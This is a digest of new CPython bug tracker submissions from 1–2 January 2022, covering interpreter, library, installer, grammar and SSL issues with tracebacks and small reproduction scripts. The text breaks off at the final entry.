From report at bugs.python.org Sat Jan 1 05:42:47 2022 From: report at bugs.python.org (Irit Katriel) Date: Sat, 01 Jan 2022 10:42:47 +0000 Subject: [New-bugs-announce] [issue46219] except* assumes that an exception group is truth Message-ID: <1641033767.24.0.115105620821.issue46219@roundup.psfhosted.org> New submission from Irit Katriel : except* checks truthiness of the output of PREP_RERAISE_STAR, and this gives the wrong result for false ExceptionGroup subclasses. See https://github.com/python/cpython/pull/30302#discussion_r776825568 ---------- components: Interpreter Core messages: 409454 nosy: brandtbucher, iritkatriel priority: normal severity: normal status: open title: except* assumes that an exception group is truth versions: Python 3.11 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sat Jan 1 08:08:23 2022 From: report at bugs.python.org (Matthew H. McKenzie) Date: Sat, 01 Jan 2022 13:08:23 +0000 Subject: [New-bugs-announce] [issue46220] imaplib.py "select" mailbox names containing spaces. Message-ID: <1641042503.75.0.727332704149.issue46220@roundup.psfhosted.org> New submission from Matthew H. McKenzie : A mailbox (folder) need not be for a recipient and need not be the private part of an RFC2822 address. Passing a value of "000 Bookings" to select() results in validation issues when the tokens are parsed as arguments and there are too many. It would be a nice-to-have to accept spaces in the name. Workaround is for a rule to be applied by a desktop email client such as Evolution to move it from the INBOX upon discovery according to filter criteria. ---------- components: Library (Lib) messages: 409457 nosy: mckenzm priority: normal severity: normal status: open title: imaplib.py "select" mailbox names containing spaces. type: enhancement versions: Python 3.6 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sat Jan 1 08:59:07 2022 From: report at bugs.python.org (Irit Katriel) Date: Sat, 01 Jan 2022 13:59:07 +0000 Subject: [New-bugs-announce] [issue46221] Simplify except* implementation and move helpers to exceptions.c Message-ID: <1641045547.05.0.955654567857.issue46221@roundup.psfhosted.org> New submission from Irit Katriel : Following issue45711, the implementation of except* can be simplified - we do not need to use POP_EXCEPT_AND_RERAISE to reraise the exception calculated by PREP_RERAISE_STAR, we can instead 1. Make PREP_RERAISE_STAR not push a dummy lasti to the stack. 2. USE ROT_TWO + POP_EXCEPT + RERAISE. While I'm there, I will move the PREP_RERAISE_STAR helper functions (do_reraise_star etc) to exceptions.c. ---------- assignee: iritkatriel components: Interpreter Core messages: 409458 nosy: iritkatriel priority: normal severity: normal status: open title: Simplify except* implementation and move helpers to exceptions.c versions: Python 3.11 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sat Jan 1 12:33:12 2022 From: report at bugs.python.org (David CARLIER) Date: Sat, 01 Jan 2022 17:33:12 +0000 Subject: [New-bugs-announce] [issue46222] posixmodule sendfile FreeBSD's constants update Message-ID: <1641058392.04.0.265808726552.issue46222@roundup.psfhosted.org> New submission from David CARLIER : Adding SF_NOCACHE and little note for SF_MNOWAIT. ---------- components: FreeBSD messages: 409465 nosy: devnexen, koobs priority: normal pull_requests: 28542 severity: normal status: open title: posixmodule sendfile FreeBSD's constants update versions: Python 3.11 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sat Jan 1 22:36:04 2022 From: report at bugs.python.org (aaron) Date: Sun, 02 Jan 2022 03:36:04 +0000 Subject: [New-bugs-announce] [issue46223] asyncio cause infinite loop during debug Message-ID: <1641094564.17.0.420361476444.issue46223@roundup.psfhosted.org> New submission from aaron : When running code in debug mode, asyncio sometimes enter into infinite loop, shows as the following: ``` Current thread 0x00007f1c15fc5180 (most recent call first): File "/root/miniconda3/envs/omicron/lib/python3.9/asyncio/events.py", line 58 in __repr__ File "/root/miniconda3/envs/omicron/lib/python3.9/reprlib.py", line 139 in repr_instance File "/root/miniconda3/envs/omicron/lib/python3.9/reprlib.py", line 62 in repr1 File "/root/miniconda3/envs/omicron/lib/python3.9/reprlib.py", line 52 in repr File "/root/miniconda3/envs/omicron/lib/python3.9/asyncio/format_helpers.py", line 40 in File "/root/miniconda3/envs/omicron/lib/python3.9/asyncio/format_helpers.py", line 40 in _format_args_and_kwargs File "/root/miniconda3/envs/omicron/lib/python3.9/asyncio/format_helpers.py", line 56 in _format_callback File "/root/miniconda3/envs/omicron/lib/python3.9/asyncio/format_helpers.py", line 47 in _format_callback File "/root/miniconda3/envs/omicron/lib/python3.9/asyncio/format_helpers.py", line 23 in _format_callback_source File "/root/miniconda3/envs/omicron/lib/python3.9/asyncio/base_futures.py", line 32 in format_cb File "/root/miniconda3/envs/omicron/lib/python3.9/asyncio/base_futures.py", line 37 in _format_callbacks File "/root/miniconda3/envs/omicron/lib/python3.9/asyncio/base_futures.py", line 76 in _future_repr_info File "/root/miniconda3/envs/omicron/lib/python3.9/reprlib.py", line 139 in repr_instance File "/root/miniconda3/envs/omicron/lib/python3.9/reprlib.py", line 62 in repr1 File "/root/miniconda3/envs/omicron/lib/python3.9/reprlib.py", line 52 in repr File "/root/miniconda3/envs/omicron/lib/python3.9/asyncio/format_helpers.py", line 38 in File "/root/miniconda3/envs/omicron/lib/python3.9/asyncio/format_helpers.py", line 38 in _format_args_and_kwargs File "/root/miniconda3/envs/omicron/lib/python3.9/asyncio/format_helpers.py", line 56 in _format_callback File "/root/miniconda3/envs/omicron/lib/python3.9/asyncio/format_helpers.py", line 23 in _format_callback_source File "/root/miniconda3/envs/omicron/lib/python3.9/asyncio/events.py", line 51 in _repr_info File "/root/miniconda3/envs/omicron/lib/python3.9/asyncio/events.py", line 61 in __repr__ File "/root/miniconda3/envs/omicron/lib/python3.9/reprlib.py", line 139 in repr_instance File "/root/miniconda3/envs/omicron/lib/python3.9/reprlib.py", line 62 in repr1 File "/root/miniconda3/envs/omicron/lib/python3.9/reprlib.py", line 52 in repr File "/root/miniconda3/envs/omicron/lib/python3.9/asyncio/format_helpers.py", line 40 in File "/root/miniconda3/envs/omicron/lib/python3.9/asyncio/format_helpers.py", line 40 in _format_args_and_kwargs File "/root/miniconda3/envs/omicron/lib/python3.9/asyncio/format_helpers.py", line 56 in _format_callback File "/root/miniconda3/envs/omicron/lib/python3.9/asyncio/format_helpers.py", line 47 in _format_callback File "/root/miniconda3/envs/omicron/lib/python3.9/asyncio/format_helpers.py", line 23 in _format_callback_source File "/root/miniconda3/envs/omicron/lib/python3.9/asyncio/base_futures.py", line 32 in format_cb File "/root/miniconda3/envs/omicron/lib/python3.9/asyncio/base_futures.py", line 37 in _format_callbacks File "/root/miniconda3/envs/omicron/lib/python3.9/asyncio/base_futures.py", line 76 in _future_repr_info File "/root/miniconda3/envs/omicron/lib/python3.9/reprlib.py", line 139 in repr_instance File "/root/miniconda3/envs/omicron/lib/python3.9/reprlib.py", line 62 in repr1 File "/root/miniconda3/envs/omicron/lib/python3.9/reprlib.py", line 52 in repr File "/root/miniconda3/envs/omicron/lib/python3.9/asyncio/format_helpers.py", line 38 in File "/root/miniconda3/envs/omicron/lib/python3.9/asyncio/format_helpers.py", line 38 in _format_args_and_kwargs File "/root/miniconda3/envs/omicron/lib/python3.9/asyncio/format_helpers.py", line 56 in _format_callback File "/root/miniconda3/envs/omicron/lib/python3.9/asyncio/format_helpers.py", line 23 in _format_callback_source File "/root/miniconda3/envs/omicron/lib/python3.9/asyncio/events.py", line 51 in _repr_info File "/root/miniconda3/envs/omicron/lib/python3.9/asyncio/events.py", line 61 in __repr__ File "/root/miniconda3/envs/omicron/lib/python3.9/reprlib.py", line 139 in repr_instance File "/root/miniconda3/envs/omicron/lib/python3.9/reprlib.py", line 62 in repr1 File "/root/miniconda3/envs/omicron/lib/python3.9/reprlib.py", line 52 in repr File "/root/miniconda3/envs/omicron/lib/python3.9/asyncio/format_helpers.py", line 40 in File "/root/miniconda3/envs/omicron/lib/python3.9/asyncio/format_helpers.py", line 40 in _format_args_and_kwargs File "/root/miniconda3/envs/omicron/lib/python3.9/asyncio/format_helpers.py", line 56 in _format_callback File "/root/miniconda3/envs/omicron/lib/python3.9/asyncio/format_helpers.py", line 47 in _format_callback File "/root/miniconda3/envs/omicron/lib/python3.9/asyncio/format_helpers.py", line 23 in _format_callback_source File "/root/miniconda3/envs/omicron/lib/python3.9/asyncio/base_futures.py", line 32 in format_cb File "/root/miniconda3/envs/omicron/lib/python3.9/asyncio/base_futures.py", line 37 in _format_callbacks File "/root/miniconda3/envs/omicron/lib/python3.9/asyncio/base_futures.py", line 76 in _future_repr_info File "/root/miniconda3/envs/omicron/lib/python3.9/reprlib.py", line 139 in repr_instance File "/root/miniconda3/envs/omicron/lib/python3.9/reprlib.py", line 62 in repr1 File "/root/miniconda3/envs/omicron/lib/python3.9/reprlib.py", line 52 in repr File "/root/miniconda3/envs/omicron/lib/python3.9/asyncio/format_helpers.py", line 38 in File "/root/miniconda3/envs/omicron/lib/python3.9/asyncio/format_helpers.py", line 38 in _format_args_and_kwargs File "/root/miniconda3/envs/omicron/lib/python3.9/asyncio/format_helpers.py", line 56 in _format_callback File "/root/miniconda3/envs/omicron/lib/python3.9/asyncio/format_helpers.py", line 23 in _format_callback_source File "/root/miniconda3/envs/omicron/lib/python3.9/asyncio/events.py", line 51 in _repr_info File "/root/miniconda3/envs/omicron/lib/python3.9/asyncio/events.py", line 61 in __repr__ File "/root/miniconda3/envs/omicron/lib/python3.9/reprlib.py", line 139 in repr_instance File "/root/miniconda3/envs/omicron/lib/python3.9/reprlib.py", line 62 in repr1 File "/root/miniconda3/envs/omicron/lib/python3.9/reprlib.py", line 52 in repr File "/root/miniconda3/envs/omicron/lib/python3.9/asyncio/format_helpers.py", line 40 in File "/root/miniconda3/envs/omicron/lib/python3.9/asyncio/format_helpers.py", line 40 in _format_args_and_kwargs File "/root/miniconda3/envs/omicron/lib/python3.9/asyncio/format_helpers.py", line 56 in _format_callback File "/root/miniconda3/envs/omicron/lib/python3.9/asyncio/format_helpers.py", line 47 in _format_callback File "/root/miniconda3/envs/omicron/lib/python3.9/asyncio/format_helpers.py", line 23 in _format_callback_source File "/root/miniconda3/envs/omicron/lib/python3.9/asyncio/base_futures.py", line 32 in format_cb File "/root/miniconda3/envs/omicron/lib/python3.9/asyncio/base_futures.py", line 37 in _format_callbacks File "/root/miniconda3/envs/omicron/lib/python3.9/asyncio/base_futures.py", line 76 in _future_repr_info File "/root/miniconda3/envs/omicron/lib/python3.9/reprlib.py", line 139 in repr_instance File "/root/miniconda3/envs/omicron/lib/python3.9/reprlib.py", line 62 in repr1 File "/root/miniconda3/envs/omicron/lib/python3.9/reprlib.py", line 52 in repr File "/root/miniconda3/envs/omicron/lib/python3.9/asyncio/format_helpers.py", line 38 in File "/root/miniconda3/envs/omicron/lib/python3.9/asyncio/format_helpers.py", line 38 in _format_args_and_kwargs File "/root/miniconda3/envs/omicron/lib/python3.9/asyncio/format_helpers.py", line 56 in _format_callback File "/root/miniconda3/envs/omicron/lib/python3.9/asyncio/format_helpers.py", line 23 in _format_callback_source File "/root/miniconda3/envs/omicron/lib/python3.9/asyncio/events.py", line 51 in _repr_info File "/root/miniconda3/envs/omicron/lib/python3.9/asyncio/events.py", line 61 in __repr__ File "/root/miniconda3/envs/omicron/lib/python3.9/reprlib.py", line 139 in repr_instance File "/root/miniconda3/envs/omicron/lib/python3.9/reprlib.py", line 62 in repr1 File "/root/miniconda3/envs/omicron/lib/python3.9/reprlib.py", line 52 in repr File "/root/miniconda3/envs/omicron/lib/python3.9/asyncio/format_helpers.py", line 40 in File "/root/miniconda3/envs/omicron/lib/python3.9/asyncio/format_helpers.py", line 40 in _format_args_and_kwargs File "/root/miniconda3/envs/omicron/lib/python3.9/asyncio/format_helpers.py", line 56 in _format_callback File "/root/miniconda3/envs/omicron/lib/python3.9/asyncio/format_helpers.py", line 47 in _format_callback File "/root/miniconda3/envs/omicron/lib/python3.9/asyncio/format_helpers.py", line 23 in _format_callback_source File "/root/miniconda3/envs/omicron/lib/python3.9/asyncio/base_futures.py", line 32 in format_cb File "/root/miniconda3/envs/omicron/lib/python3.9/asyncio/base_futures.py", line 37 in _format_callbacks File "/root/miniconda3/envs/omicron/lib/python3.9/asyncio/base_futures.py", line 76 in _future_repr_info File "/root/miniconda3/envs/omicron/lib/python3.9/reprlib.py", line 139 in repr_instance File "/root/miniconda3/envs/omicron/lib/python3.9/reprlib.py", line 62 in repr1 File "/root/miniconda3/envs/omicron/lib/python3.9/reprlib.py", line 52 in repr File "/root/miniconda3/envs/omicron/lib/python3.9/asyncio/format_helpers.py", line 38 in File "/root/miniconda3/envs/omicron/lib/python3.9/asyncio/format_helpers.py", line 38 in _format_args_and_kwargs File "/root/miniconda3/envs/omicron/lib/python3.9/asyncio/format_helpers.py", line 56 in _format_callback File "/root/miniconda3/envs/omicron/lib/python3.9/asyncio/format_helpers.py", line 23 in _format_callback_source ``` the code cause problem is as following: ``` class TestSyncJobs(unittest.IsolatedAsyncioTestCase): async def asyncSetUp(self) -> None: init_test_env() await emit.start(engine=emit.Engine.REDIS, dsn=cfg.redis.dsn, start_server=True, heart_beat=1) await self.create_quotes_fetcher() # if we add the following line, the issue will gone # await asyncio.sleep(0.01) await omicron.init(aq) ``` sorry the code is not runnable. If you need more info, please tell us what and how to collect. or if you would like to reproduce the issue by yourself, please try this branch: https://github.com/zillionare/omega/tree/zillionare/issue46 ---------- messages: 409487 nosy: zillionare priority: normal severity: normal status: open title: asyncio cause infinite loop during debug type: crash versions: Python 3.9 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sun Jan 2 03:46:54 2022 From: report at bugs.python.org (Sardorbek Imomaliev) Date: Sun, 02 Jan 2022 08:46:54 +0000 Subject: [New-bugs-announce] [issue46224] doc: Fix bisect example using mutable function default Message-ID: <1641113214.66.0.510722542802.issue46224@roundup.psfhosted.org> New submission from Sardorbek Imomaliev : Currently, in `bisect` examples `grade` function is declared with mutable default for `breakpoints` arugment. I suggest updating. https://github.com/sweeneyde commented > I would say that even though using mutable defaults is often undesirable, there is no problem with it in this case: the body of the function does not mutate the default. It's also probably faster than re-constructing a new list at each function call. I would suggest opening an issue on https://bugs.python.org/ if you want to discuss more. I agree that in this case it wouldn't matter because `breakpoints` are not mutated, but most of the time people copy from examples and adapt the code to their needs without giving it a second thought. In my opinion, it is a good practice to provide examples as foolproof as possible. ---------- assignee: docs at python components: Documentation messages: 409490 nosy: docs at python, imomaliev priority: normal pull_requests: 28548 severity: normal status: open title: doc: Fix bisect example using mutable function default type: enhancement versions: Python 3.10, Python 3.11, Python 3.6, Python 3.7, Python 3.8, Python 3.9 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sun Jan 2 08:45:09 2022 From: report at bugs.python.org (Ned Batchelder) Date: Sun, 02 Jan 2022 13:45:09 +0000 Subject: [New-bugs-announce] [issue46225] f_lasti behaves differently for lambdas returned from loops Message-ID: <1641131109.09.0.64467004573.issue46225@roundup.psfhosted.org> New submission from Ned Batchelder : Python 3.11.0a3 changed how f_lasti behaves when calling a function in some situations. This example shows returning a lambda from a function. If the lambda is returned in a loop, then frame.f_lasti is 0 when it is called. If the lambda is not in a loop, then f_lasti is -1, as is usual when calling a function. This behavior first appeared in 3.11.0a3. ---< showit.py >-------------------------------------------------- import linecache, sys def trace(frame, event, arg): # The weird globals here is to avoid a NameError on shutdown... if frame.f_code.co_filename == globals().get("__file__"): if event != "line": lineno = frame.f_lineno lasti = f"lasti {frame.f_lasti}" if event == "call" else "" line = linecache.getline(__file__, lineno).rstrip() print("{} {} {:10}: {}".format(event[:4], lineno, lasti, line)) return trace print(sys.version) sys.settrace(trace) def run1(): for i in range(1): return lambda: i def run2(): return lambda: 99 f = run1() print(f()) f = run2() print(f()) ------------------------------------------------------------------ Here are 3.10, 3.11.0a2, 3.11.0a3, and the tip of 3.11. The changing line is marked with <<<<<: $ python3.10 showit.py 3.10.1 (main, Dec 14 2021, 08:30:13) [Clang 12.0.0 (clang-1200.0.32.29)] call 16 lasti -1 : def run1(): retu 18 : return lambda: i call 18 lasti -1 : return lambda: i <<<<< retu 18 : return lambda: i 0 call 20 lasti -1 : def run2(): retu 21 : return lambda: 99 call 21 lasti -1 : return lambda: 99 retu 21 : return lambda: 99 99 $ /usr/local/pyenv/pyenv/versions/3.11.0a2/bin/python3.11 showit.py 3.11.0a2 (main, Nov 6 2021, 07:16:30) [Clang 12.0.0 (clang-1200.0.32.29)] call 16 lasti -1 : def run1(): retu 18 : return lambda: i call 18 lasti -1 : return lambda: i <<<<< retu 18 : return lambda: i 0 call 20 lasti -1 : def run2(): retu 21 : return lambda: 99 call 21 lasti -1 : return lambda: 99 retu 21 : return lambda: 99 99 $ /usr/local/pyenv/pyenv/versions/3.11.0a3/bin/python3.11 showit.py 3.11.0a3 (main, Dec 9 2021, 12:22:18) [Clang 12.0.0 (clang-1200.0.32.29)] call 16 lasti -1 : def run1(): retu 18 : return lambda: i call 18 lasti 0 : return lambda: i <<<<< retu 18 : return lambda: i 0 call 20 lasti -1 : def run2(): retu 21 : return lambda: 99 call 21 lasti -1 : return lambda: 99 retu 21 : return lambda: 99 99 $ /usr/local/cpython/bin/python3 showit.py 3.11.0a3+ (heads/main:a82baed0e9, Jan 2 2022, 08:12:01) [Clang 12.0.0 (clang-1200.0.32.29)] call 16 lasti -1 : def run1(): retu 18 : return lambda: i call 18 lasti 0 : return lambda: i <<<<< retu 18 : return lambda: i 0 call 20 lasti -1 : def run2(): retu 21 : return lambda: 99 call 21 lasti -1 : return lambda: 99 retu 21 : return lambda: 99 99 ---------- keywords: 3.11regression messages: 409496 nosy: Mark.Shannon, nedbat priority: normal severity: normal status: open title: f_lasti behaves differently for lambdas returned from loops versions: Python 3.11 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sun Jan 2 12:13:08 2022 From: report at bugs.python.org (Aleksandr Krymskiy) Date: Sun, 02 Jan 2022 17:13:08 +0000 Subject: [New-bugs-announce] [issue46226] User specific paths added to System PATH environment variable Message-ID: <1641143588.09.0.0658438943586.issue46226@roundup.psfhosted.org> New submission from Aleksandr Krymskiy : Installed Python 3.10.1 using Windows 64-bit installer from python.org. Upon examining the PATH environment variables I noticed that my local user paths (C:\Users\avk\AppData\...) have been added to the System-level PATH variable instead of User level, which can cause problems on multi-user systems, since users other than mine will now have these paths in their environment causing them to potentially try to execute code from unexpected location that they should not even have access too. User paths should be added to User specific PATH environment variable and only global (C:\Program Files\Python310\...) kept in the System scope by the installer. Please see my screenshot - the highlighted should be moved to User scoped PATH var. ---------- components: Installation files: py_paths.png messages: 409507 nosy: akrymskiy priority: normal severity: normal status: open title: User specific paths added to System PATH environment variable type: behavior versions: Python 3.10 Added file: https://bugs.python.org/file50535/py_paths.png _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sun Jan 2 13:34:12 2022 From: report at bugs.python.org (Stanislav Zmiev) Date: Sun, 02 Jan 2022 18:34:12 +0000 Subject: [New-bugs-announce] [issue46227] add pathlib.Path.walk method Message-ID: <1641148452.74.0.627954460368.issue46227@roundup.psfhosted.org> New submission from Stanislav Zmiev : Pathlib is great, yet every time I have to parse a bunch of files, I have to use os.walk and join paths by hand. That's not a lot of code but I feel like pathlib should have higher-level abstractions for all path-related functionality of os. I propose we add a Path.walk method that could look like this: def walk(self, topdown=True, onerror=None, followlinks=False): for root, dirs, files in self._accessor.walk( self, topdown=topdown, onerror=onerror, followlinks=followlinks ): root_path = Path(root) yield ( root_path, [root_path._make_child_relpath(dir_) for dir_ in dirs], [root_path._make_child_relpath(file) for file in files], ) Note: this version does not handle a situation when top does not exist (similar to os.walk that also doesn't handle it and just returns an empty generator) ---------- components: Library (Lib) messages: 409511 nosy: Ovsyanka priority: normal severity: normal status: open title: add pathlib.Path.walk method type: enhancement versions: Python 3.11 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sun Jan 2 14:50:38 2022 From: report at bugs.python.org (Jade Lovelace) Date: Sun, 02 Jan 2022 19:50:38 +0000 Subject: [New-bugs-announce] [issue46228] argparse docs: default for prog= in ArgumentParser() should be basename of argv[0], not argv[0], to match behaviour Message-ID: <1641153038.74.0.113301629042.issue46228@roundup.psfhosted.org> New submission from Jade Lovelace : Currently the documentation for argparse.ArgumentParser states that the default value of the prog[ram] argument is argv[0], however, this does not match the actual behaviour of the constructor. In reality, the constructor uses the basename of argv[0], as can be seen in the code here: https://github.com/python/cpython/blob/e800dd1793dafbc4114da744f605731ff6630623/Lib/argparse.py#L1733-L1735 Here is a demo: /tmp ? cat test.py import argparse ap = argparse.ArgumentParser() print(ap.prog) ap.print_usage() /tmp ? python test.py test.py usage: test.py [-h] /tmp ? python ./test.py test.py usage: test.py [-h] /tmp ? mkdir test /tmp ? cd test /tmp/test ? python ../test.py test.py usage: test.py [-h] ---------- components: Library (Lib) files: test.py messages: 409515 nosy: lf- priority: normal pull_requests: 28549 severity: normal status: open title: argparse docs: default for prog= in ArgumentParser() should be basename of argv[0], not argv[0], to match behaviour type: enhancement versions: Python 3.10, Python 3.11, Python 3.6, Python 3.7, Python 3.8, Python 3.9 Added file: https://bugs.python.org/file50536/test.py _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sun Jan 2 15:25:16 2022 From: report at bugs.python.org (Nikita Sobolev) Date: Sun, 02 Jan 2022 20:25:16 +0000 Subject: [New-bugs-announce] [issue46229] CODE_OF_CONDUCT shadowing org default Message-ID: <1641155116.49.0.691257397106.issue46229@roundup.psfhosted.org> New submission from Nikita Sobolev : Problem: we have two CODE_OF_CONDUCT files. 1. In CPython: https://github.com/python/cpython/blob/main/CODE_OF_CONDUCT.md (last updated 3 years ago) 2. In Python org, default for all repos: https://github.com/python/.github/blob/master/CODE_OF_CONDUCT.md But, since CODE_OF_CONDUCT is an important document, I want to raise a discussion first. Should it be deleted from CPython repo? Pros: GitHub offers org-default and CODE_OF_CONDUCT will still be rendered in several places: - https://user-images.githubusercontent.com/4660275/147888475-f1bc5e79-078b-4ec7-9484-53b90373c3c9.png - https://user-images.githubusercontent.com/4660275/147888477-35c98df8-2730-4d9b-a568-76b6b46da015.png It will be also easier to edit a single-source-of-truth. For example, this commit was not back-ported to CPython: https://github.com/python/.github/commit/237d2151f18380c8146557febfe5858fe3f23232 Also, other repos like mypy / typeshed / typing use org-default CoC. Cons: some people might still miss that CPython has a CoC. This is a follow-up to: https://github.com/python/cpython/pull/30294 If others agree, I can send a PR to remove CPython's local copy of CoC. ---------- files: ?????? ?????? 2022-01-02 ? 23.19.15.png messages: 409519 nosy: Mariatta, sobolevn priority: normal severity: normal status: open title: CODE_OF_CONDUCT shadowing org default type: behavior versions: Python 3.11 Added file: https://bugs.python.org/file50537/?????? ?????? 2022-01-02 ? 23.19.15.png _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sun Jan 2 15:59:25 2022 From: report at bugs.python.org (Robert Einhorn) Date: Sun, 02 Jan 2022 20:59:25 +0000 Subject: [New-bugs-announce] [issue46230] NEWLINE* is missing in 'file' rule in PEG grammar Message-ID: <1641157165.95.0.528192951206.issue46230@roundup.psfhosted.org> New submission from Robert Einhorn : https://docs.python.org/3.10/reference/grammar.html # original grammar rule: file: [statements] ENDMARKER # suggested grammar rule: file: NEWLINE* [statements] ENDMARKER ---------- components: Parser messages: 409524 nosy: RobEin, lys.nikolaou, pablogsal priority: normal severity: normal status: open title: NEWLINE* is missing in 'file' rule in PEG grammar versions: Python 3.10 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sun Jan 2 16:05:46 2022 From: report at bugs.python.org (Robert Einhorn) Date: Sun, 02 Jan 2022 21:05:46 +0000 Subject: [New-bugs-announce] [issue46231] grammar rule definition is missing: invalid_double_starred_kvpairs Message-ID: <1641157546.64.0.522464993129.issue46231@roundup.psfhosted.org> New submission from Robert Einhorn : Definition of invalid_double_starred_kvpairs PEG grammar rule is not found: https://docs.python.org/3.10/reference/grammar.html # PEG grammar rule: dict: | '{' [double_starred_kvpairs] '}' | '{' invalid_double_starred_kvpairs '}' ---------- components: Parser messages: 409525 nosy: RobEin, lys.nikolaou, pablogsal priority: normal severity: normal status: open title: grammar rule definition is missing: invalid_double_starred_kvpairs versions: Python 3.10 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sun Jan 2 17:03:19 2022 From: report at bugs.python.org (Kacper) Date: Sun, 02 Jan 2022 22:03:19 +0000 Subject: [New-bugs-announce] [issue46232] Client certificates with UniqueIdentifier in the subject break ssl.peer_certificate() Message-ID: <1641160999.16.0.149653140984.issue46232@roundup.psfhosted.org> New submission from Kacper : Currently all subject sets of a client certificate are treated as UTF8 strings using the ASN1_STRING_to_UTF8 function (https://github.com/python/cpython/blob/8d999cbf4adea053be6dbb612b9844635c4dfb8e/Modules/_ssl.c#L912), however RFC 5280 states that the UniqueIdentifier is of type BIT STRING. Passing a BIT STRING into the ASN1_STRING_to_UTF8 function seems to return -1 and subsequently fail a SSL handshake. Traceback (most recent call last): File "/usr/lib64/python3.6/asyncio/events.py", line 145, in _run self._callback(*self._args) File "/usr/lib64/python3.6/site-packages/tornado/platform/asyncio.py", line 138, in _handle_events handler_func(fileobj, events) File "/usr/lib64/python3.6/site-packages/tornado/iostream.py", line 702, in _handle_events self._handle_read() File "/usr/lib64/python3.6/site-packages/tornado/iostream.py", line 1471, in _handle_read self._do_ssl_handshake() File "/usr/lib64/python3.6/site-packages/tornado/iostream.py", line 1431, in _do_ssl_handshake if not self._verify_cert(self.socket.getpeercert()): File "/usr/lib64/python3.6/ssl.py", line 860, in getpeercert return self._sslobj.getpeercert(binary_form) File "/usr/lib64/python3.6/ssl.py", line 610, in getpeercert return self._sslobj.peer_certificate(binary_form) ssl.SSLError: unknown error (_ssl.c:959) (line 959 of _ssl.c corresponds to https://github.com/python/cpython/blob/8d999cbf4adea053be6dbb612b9844635c4dfb8e/Modules/_ssl.c#L914) https://github.com/pyca/cryptography/issues/3542 might be of interest for further discussion. ---------- assignee: christian.heimes components: SSL messages: 409532 nosy: christian.heimes, kacper priority: normal severity: normal status: open title: Client certificates with UniqueIdentifier in the subject break ssl.peer_certificate() type: behavior versions: Python 3.10, Python 3.11, Python 3.6, Python 3.7, Python 3.8, Python 3.9 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sun Jan 2 17:48:26 2022 From: report at bugs.python.org (Tim Peters) Date: Sun, 02 Jan 2022 22:48:26 +0000 Subject: [New-bugs-announce] [issue46233] Minor speedup for bigint squaring Message-ID: <1641163706.78.0.392911165646.issue46233@roundup.psfhosted.org> New submission from Tim Peters : longobject.c's x_mul()'s special code for squaring gets kind of sloppy at the end of a digit pass, doing a useless add of 0 and an "extra" test for carry. Easily cleaned up. I think the underlying cause is that the HAC algorithm description it was modeled on was quite "hand wavy" about how badly, and exactly when, the carry can exceed a single digit. Things are better-behaved at the end of a digit pass. ---------- assignee: tim.peters components: Interpreter Core messages: 409534 nosy: tim.peters priority: normal severity: normal stage: needs patch status: open title: Minor speedup for bigint squaring type: performance versions: Python 3.11 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sun Jan 2 18:14:57 2022 From: report at bugs.python.org (Ned Batchelder) Date: Sun, 02 Jan 2022 23:14:57 +0000 Subject: [New-bugs-announce] [issue46234] 3.11: Tracing of decorators now visits the decorator line before the decorator function Message-ID: <1641165297.61.0.31884920399.issue46234@roundup.psfhosted.org> New submission from Ned Batchelder : Sometime after 3.11.0a3, tracing of decorators changed so that each decorator line is revisited as the decorator is invoked. Is this intentional? ---< dectrace.py >----------------------------------- import linecache, sys def trace(frame, event, arg): # The weird globals here is to avoid a NameError on shutdown... if frame.f_code.co_filename == globals().get("__file__"): lineno = frame.f_lineno print("{} {}: {}".format(event[:4], lineno, linecache.getline(__file__, lineno).rstrip())) return trace print(sys.version) sys.settrace(trace) def decorator(func): return func def doit(): @decorator @decorator @decorator def func(x): return x + 1 print(func(1)) doit() ----------------------------------------------------- Running it on 3.10, 3.11.0a3, and latest 3.11. The last run has the new line hightlighted with <<<<<: $ python3.10 dectrace.py 3.10.1 (main, Dec 14 2021, 08:30:13) [Clang 12.0.0 (clang-1200.0.32.29)] call 16: def doit(): line 17: @decorator line 18: @decorator line 19: @decorator line 20: def func(x): call 13: def decorator(func): line 14: return func retu 14: return func call 13: def decorator(func): line 14: return func retu 14: return func call 13: def decorator(func): line 14: return func retu 14: return func line 23: print(func(1)) call 17: @decorator line 21: return x + 1 retu 21: return x + 1 2 retu 23: print(func(1)) $ python3.11 dectrace.py 3.11.0a3 (main, Dec 9 2021, 12:22:18) [Clang 12.0.0 (clang-1200.0.32.29)] call 16: def doit(): line 17: @decorator line 18: @decorator line 19: @decorator line 20: def func(x): call 13: def decorator(func): line 14: return func retu 14: return func call 13: def decorator(func): line 14: return func retu 14: return func call 13: def decorator(func): line 14: return func retu 14: return func line 23: print(func(1)) call 17: @decorator line 21: return x + 1 retu 21: return x + 1 2 retu 23: print(func(1)) $ /usr/local/cpython/bin/python3.11 dectrace.py 3.11.0a3+ (heads/main:a82baed0e9, Jan 2 2022, 08:12:01) [Clang 12.0.0 (clang-1200.0.32.29)] call 16: def doit(): line 17: @decorator line 18: @decorator line 19: @decorator line 20: def func(x): line 19: @decorator <<<<< call 13: def decorator(func): line 14: return func retu 14: return func line 18: @decorator <<<<< call 13: def decorator(func): line 14: return func retu 14: return func line 17: @decorator <<<<< call 13: def decorator(func): line 14: return func retu 14: return func line 20: def func(x): line 23: print(func(1)) call 17: @decorator line 21: return x + 1 retu 21: return x + 1 2 retu 23: print(func(1)) (this might or might not be related to https://bugs.python.org/issue37971) ---------- components: Interpreter Core keywords: 3.11regression messages: 409539 nosy: Mark.Shannon, nedbat priority: normal severity: normal status: open title: 3.11: Tracing of decorators now visits the decorator line before the decorator function type: behavior versions: Python 3.11 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sun Jan 2 18:49:54 2022 From: report at bugs.python.org (Dennis Sweeney) Date: Sun, 02 Jan 2022 23:49:54 +0000 Subject: [New-bugs-announce] [issue46235] Do all ref-counting at once for sequence multiplication Message-ID: 